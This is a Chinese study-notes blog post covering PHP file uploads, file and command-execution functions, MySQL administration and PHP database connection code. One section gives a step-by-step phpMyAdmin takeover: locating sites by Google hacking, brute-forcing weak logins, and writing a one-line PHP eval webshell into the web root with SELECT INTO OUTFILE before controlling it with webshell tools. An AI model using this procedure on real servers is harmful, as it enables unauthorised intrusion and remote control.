• 2019.10.9php进阶


    <?php  

    header("Content-type:text/html;charset:utf-8");

    if ($_FILES["file"]["error"]>0) {

    echo $_FILES["file"]["error"]."<br>";

    } else {

    echo "文件名:".$_FILES["file"]["name"]."<br>";

    echo "类型:".$_FILES["file"]["type"]."<br>";

    echo "大小:".$_FILES["file"]["size"]."<br>";

    echo "临时位置:".$_FILES["file"]["tmp_name"]."<br>";}

    echo "文件后缀名:".@end(explode(".",$_FILES["file"]["name"]));

    ?>

     

    explode(标识,字符串),按照标识将字符串分割为数组

    explode(".","test.te.png") == array("test","te","png");

    end(数组)取出数组中最后一个值.

    上传文件完整代码

    html:

    <!DOCTYPE html>

    <html>

    <head>

    <title></title>

    <meta charset="utf-8">

    </head>

    <body>

    <form action="ups.php" method="post" enctype="multipart/form-data">

    <label for="file">文件名:</label>

    <input type="file" name="file" id="file">

    <input type="submit" value="提交">

    </form>

    </body>

    </html>

    php:

    <?php  

    header("Content-type:text/html;charset:utf-8");

    if ($_FILES["file"]["error"]>0) {

    echo $_FILES["file"]["error"]."<br>";

    } else {

    //白名单:只允许上传图片

    $array=array("png","gif","jpeg","jpg","bmp");

    /* echo "文件名:".$_FILES["file"]["name"]."<br>";

    echo "类型:".$_FILES["file"]["type"]."<br>";

    echo "大小:".$_FILES["file"]["size"]."<br>";

    echo "临时位置:".$_FILES["file"]["tmp_name"]."<br>";*/

    $fileEndName=@end(explode(".",$_FILES["file"]["name"]));

    if (in_array($fileEndName, $array)) {

    if (!file_exists("uploads/".$_FILES["file"]["name"])) {

    move_uploaded_file($_FILES["file"]["tmp_name"],"uploads/".$_FILES["file"]["name"]);

    echo "文件上传成功,位置为:"."uploads/".$_FILES["file"]["name"];

    }else{

    echo "有同名文件!!无法提交!!!";

    }

    } else {

    echo "文件格式不支持!!";

    }

    }

    ?>

    文件管理:文件的打开,关闭,读取,写入.

    文件的打开:fopen(打开文件的位置包含路径和文件名,打开文件的方式);

    r 以只读的方式打开

    r+ 读和写

    w 只写,如果文件不存在则创建

    w+ 读和写,如果文件不存在则创建

    a 文件末尾追加,如果不存在则创建

    a+ 读和追加,如果不存在则创建

    fclose(句柄~打开的文件对应的句柄)关闭

    feof()检测是否达到了文件的末尾,如果没有达到文件的末尾,则返回值是false

    fread(打开的文件,读取大小)

    fgets()读取单行数据内容:while (!feof($file)){echo fgets($file);}

    fgetc()读取单个字符数据内容:while (!feof($file)){echo fgetc($file);}

    file()将整个文档中数据读取到数组中:print_r(file("123.php"));

    file_get_contents()将整个文档中数据读取到字符串中echo file_get_contents("123.php");

    file_put_contents(文件名,写内容)将内容写到文件中:file_put_contents("123.php","123");如果文件名不存在则创建该文件,*是覆盖写,原内容会消失!!!

    basename()获取文件名 //我都知道文件名了还取个屁??

    dirname() 获取文件路径名

    copy(源文件,目标文件)

    unlink() unset() 删除文件

    命令执行函数,通过php中某些函数去执行系统命令,和系统去交互

    常用的命令执行函数:

    system();

    exec();

    shell_exec();

    echo 'whoami';

    passthru()

    等等

    代码执行函数,使用php的某些函数去执行字符串类型的php代码,注意:php代码要求按照标准格式写的,常用的函数有:

    eval();

    assert();

    preg_replace(正则表达式,替换掉字符,被替换的字符);注意:如果执行代码功能,需要使用使用/e模式,替换的字符中的代码就会被执行

    等等

    数据库管理

    MYSQL 开源,轻量级数据库,适用于中小型企业,性能好

    MSSQL 微软,需要安装在nt系统,不支持跨平台,适用于中大型企业

    ACCESS 小巧方便 小型企业 小型项目

    ORACLE 甲骨文,收费,适用于大型企业,跨平台,需要良好的底层硬件支持

    常用框架组合

    mysql+php

    mssql+asp,aspx

    oracle+java

    access+asp

    jsp+oracle

    数据库模型

    关系型数据库(结构化数据库) mysql mssql oracle db2

    非关系型数据库(非结构数据库)redis mongodb nosql postgresq Hbase等等

    管理mysql数据库的方式:

    DOS-mysql:需要配置mysql的环境变量 mysql -u root -p root

    phpmyadmin 基于网页的数据库管理平台

    mysql-front 开源的 C/S模式的数据库管理平台

    Navicat 收费的,功能强大的数据库管理平台

    mysql数据库结构:数据库名->数据库表->表头(字段名)->数据内容

    表中有几个字段就会有几行数据

    一行数据叫记录

    管理mysql数据库的常用命令:

    mysql -u root -p

    show databases;

    information_schema 他是5.0以后的mysql数据库自带的,汇总数据信息

    mysql 存放当前数据库信息,如登录账户信息

    use mysql; 使用mysql,进入选中的数据库

    show tables; 查看当前数据库中所有的表

    select * from user ;查看user 表下所有的数据内容

    select version(); 查看当前运行的数据库版本

    修改密码

    知道原密码去修改:

    step 1:需要进入到数据库中, mysql -uroot -p

    step 2: 低版本(5.0)以下

    update mysql.user set password = password("新密码") where user = 'root'( root账户的密码)

    高版本(5.1)以上

    update mysql.user set authentication_string = password("新密码") where user = 'root'

    alter user "root"@"localhost" identified by "新密码";

    step 3:flush privileges; 刷新数据库

    mysql系统之外修改密码

    mysqladmin -u root -p password "新密码";

    忘记原密码去修改(linux):

    step1:关闭mysql服务,修改配置文件my.ini/my.cnf

    step2:打开mysql配置文件,找到[mysqld] 加上:skip-grant-tables(跳过密码验证)

    step3:重启mysql服务,此时登录无需密码,再用上面方法改密码

    mysql 数据库中添加账户并授权

    添加账户

    create user "用户名"@"主机IP" identified by "密码";

    主机IP:允许那个主机用户可以登录,(localhost 本机可登录 %任意用户可登录

    192.168.1.1 IP上用户可登录)

    添加权限

    grant 权限 on 库名.表名 to "用户名"@"主机IP"

    权限:insert drop update select all

    库名.表名:表示能够操作的数据和表 *.*表示所有数据库以及所有的表

    grant all on *.* to "123"@"192.168.1.1."

    注意:配置中bind 127.0.0.1 需要注释掉或者根据需求进行更改

    数据库外连:(允许远程连接)

    update user set host ="%" where user ="host" and host= "localhost";

    flush privileges;

    注意:配置中bind 127.0.0.1 需要注释掉

    MYSQL 常用的函数

    version();

    user();

    select @@version;

    select @@hostname;

    select @@tmpdir;临时目录

    select @@basedir;数据库服务所在的位置

    select @@datadir;数据存放的位置;

    数据文件格式:opt:编码;MYD存储数据;frm:存储表结构;MYI存储当前数据库的配置 信息和索引信息;

    mid(被截取的字符串,开始索引,截取的长度);截取字符串

    ord();显示字符的ascii,首字母的

    concat();拼接字符串 concat("1","2","3");=>"123";

    concat_ws(分隔符,多个参数);以分隔符分割拼接

    group_concat();分组并拼接

    sleep(1);让数据库等待1秒钟

    sql语法:

    创建数据库:

    create database te;

    mysqladmin -uroot -proot create pentest DOS命令中,需要使用mysqladmin.exe

    删除数据库:

    drop database te;

    mysqladmin -uroot -proot drop pentest

    数据库中的数据类型:

    int:整型

    bigint:大整型

    float:浮点型

    date:日期

    time:时间

    char:单个字符

    varchar:变长字符,自设上限长度

    text:文本

    timestamp:时间戳

    double:双精度浮点型

    bit:比特

    tinyint:0/1 bool

    创建表:use 数据库;

    create table 表明(字段名1 数据类型 primary key auto_increment,字段2 数据类型,字段3 数据类型)default charset=utf8;

    auto_increment :自增,看情况使用

    primary key: 表中需要一个主键(唯一,非空) ,通过该主键确定唯一的一条记录

    not null :不为空

    default charset=utf8:设置编码方式

    删除表:drop table 表名;

    查看表中字段:show create table 表名;desc 表名

    后续添加主键:alter table 表名 add primary key(字段名);

    插入数据:insert into 表名(字段名1,字段名2,字段名3) value(1,2,3);

    查询数据:select 字段 from 表名;

     select 字段 from 表名 where 字段名=;

     select 字段 from 表名 where 字段1=1 and/or 字段2 =2;

    限制查询:limit a,b ;(a b均为数字,a表示记录的索引,b表示记录的长度)

     limit a ;(0开始选择a个记录)

    更新数据:update 表名 set 字段1=1,字段2=2 where 字段3=3;

    删除表中数据:delete from 表名;

    like 子句:通配符:%任意字符 _单个字符

     select * from stu where name like "%t%"

    union 联合查询

    语法:查询语句1 union 查询语句2 将他们查询出来的结果放在一张表中显示

    他们查询出来的字段个数必须一致

    可以根据语句2的字段数量判断查询语句1的字段数量

    order by 的使用

    order by 条件: 根据给定的条件排序,默认条件下是升序

    select * from order by 字段名 [asc/desc] 根据制定的字段名去排序,asc升序,desc降序

    select * from order by 数字 表示对第n列数据进行排序,如果数字超过表格列数,则报错

    删除字段:alter table 表名 drop 字段名;

    添加字段:alter table 表名 add 字段名 字段类型;

    去重查询:select distinct name from te;

    数据的导入导出:

    导入数据

    方法1:mysql -uroot -proot <需要导入的数据库文件(data.sql)注意:data.sql需要自动创建数据库,并且需 要选择该数据库,如果data.sql不会创建数据库,手动创建数据库

    手动导入mysql -uroot -proot

    create database 数据库

    use 数据库
    source 数据库文件

    方法2:使用phpmyadmin等平台导入数据,如果导入的文件还是不能自己创建数据库,则需要手动创建

    方法3:mysqlimport -uroot -proot --local 数据库名 数据库文件;首先创建数据库,创建表teacher,该表的 字段名要和导入的数据的字段保持一致 --local表示本地任意位置均可导入数据

    导出数据

    方法1:借助平台;

    方法2:mysqldump -uroot -proot 数据库名 > 导出文件名

      mysqldump -uroot -proot 数据库名 表名 > ./table.sql

    方法3:select 字段 from 表名 into outfile "文件";将数据库中的字段内容导入到文件中

    首次从数据库中导出文件,数据库会运行--secure-file-priv 安全机制,会限制导出文件

    查看该安全项的值:SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%'

    secure_file_priv value null,限制导入导出

    secure_file_priv 没有值 表示mysql不限制导入导出

    secure_file_priv = /tmp 表示mysql只能在/tmp目录下执行导入导出,其他目录是不允许的

    修改该安全机制:

    临时方法:set global secure_file_priv=' ';

    注意:Variable 'secure_file_priv' is a read only variable 表示不能通过sql语句修改

    长久方法:修改配置文件 在配置文件my.ini中找到[mysqld]后面添加secure_file_priv=' ';

    通过phpmyadmin 获取服务器权限(getshell)

    step1:通过google hacking phpmyadmin网站

    step2:爆破或者弱口令登录,查询:SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%'

    step3:如果安全选项没有限制或者限制不严格,可以往站点根目录写木马

    select "<?php @eval($_POST[_]);?>" into outfile "D:\phpstudy_pro\www\evil.php";

    select "<?php @eval($_POST[_]);?>" into outfile "/var/www/html/shll/php"; //linux下的写法

    step3*:此时可以看到本地www/文件目录下有evil.php,登录此网站,_=phpinfo();post data形式发出,返回了下图页面,其中POST[]中填的是_,所以此处重新定义_;

    step4:通过webshell 管理工具(中国菜刀,冰蝎,蚁剑等)去控制服务器

    PHP+MYSQL

    PHP 操作mysql 数据库

    (1) 使用mysqli扩展(推荐),只针对mysql数据库

    面向对象的方式

    直接方法(面向过程);

    (2)使用mysql扩展(php<=5.5)

    (3)使用pdo ,支持12种数据库

    三种数据库的连接释放.php(分别取消注释使用)

    <?php

    header("Content-type:text/html;charset:utf-8");

    $ser="127.0.0.1";

    $name="root";

    $pwd="roo";

    /*m面向对象*/

    /*

    $conn=new mysqli($ser,$name,$pwd);

    if($conn->connect_error){

    die("连接失败:".$conn->connect_error);

    }

    echo "数据库连接成功!";

    $conn->close();

    */

    /*面向过程*/

    /*

    $conn=mysqli_connect($ser,$name,$pwd);

    if($conn){ //mysqli连接成功返回true,没有连接成功返回false;

    echo mysqli_connect_error();

    }

    echo "连接成功";

    var_dump($conn);

    mysqli_close($conn);

    */

    /*pdo*/

    /*

    try{

    $conn=new pdo("mysql:host=$ser;",$name,$pwd);

    echo "成功!";

    }

    catch(PDOException $ee){

    echo $ee-> getMessage();

    }

    $conn=null;

    */

    mysql.conf

    <?php

    $ip="127.0.0.1";

    $name="root";

    $pwd="root";

    $db="teachers";

    2.php

    <?php

    include 'mysql.conf';

    $conn=mysqli_connect($ip,$name,$pwd,$db);

    //$conn=mysqli_connect($ip,$name,$pwd);//创建数据库前用这个

    $sql1="create database teachers";//创建数据库

    $sql2="create table info (

    id int(10) unsigned auto_increment PRIMARY KEY,

    name varchar(20) not null,

    address varchar(100) not null,

    date timestamp

    )";//创建表info

    $sql3="insert into info(id,name,address) values (1,'icq','beijing')";//插入数据

    $sql4="insert into info(name,address) values ('iii','shanghai')";//插入数据

    $sql5="select * from info";

    //var_dump(mysqli_query($conn,$sql5));//查看这个的类型

    $result=mysqli_query($conn,$sql5);

    if($result){

    echo "成功!";

    $numbers=mysqli_num_rows($result);//查询的记录数

    //$rows=mysqli_fetch_assoc($result);

    //将执行的结果转换成数组

    while($rows=mysqli_fetch_assoc($result)){

    print_r($rows);

    }//循环打印查询记录

    }

    else{

    echo mysqli_error($conn);//打印错误信息

    }

    mysqli_close($conn);

  • 相关阅读:
    阿里DatatX mysql8往 Elasticsearch 7 插入时间数据 时区引发的问题
    通俗易懂 k8s (3):kubernetes 服务的注册与发现
    ReplicaSet 和 ReplicationController 的区别
    使用Go module导入本地包
    k8s之statefulset控制器
    终于成功部署 Kubernetes HPA 基于 QPS 进行自动伸缩
    Atitit drmmr outline org stat vb u33.docx Atitit drmmr outline org stat v0 taf.docx Atitit drmmr out
    Atitit all diary index va u33 #alldiary.docx Atitit alldiaryindex v1 t717 目录 1. Fix 1 2. Diary deta
    Atitit path query 路径查询语言 数据检索语言 目录 1.1. List map >> spel 1 1.2. Html数据 》》Css选择符 1 1.3. Json 》map》
    Atitit prgrmlan topic--express lan QL query lan表达式语言 目录 1. 通用表达语言(CEL) 1 1.1. 8.2 功能概述 1 1.2. Ongl
  • 原文地址:https://www.cnblogs.com/shuihanhhhh/p/11769176.html
Copyright © 2020-2023  润新知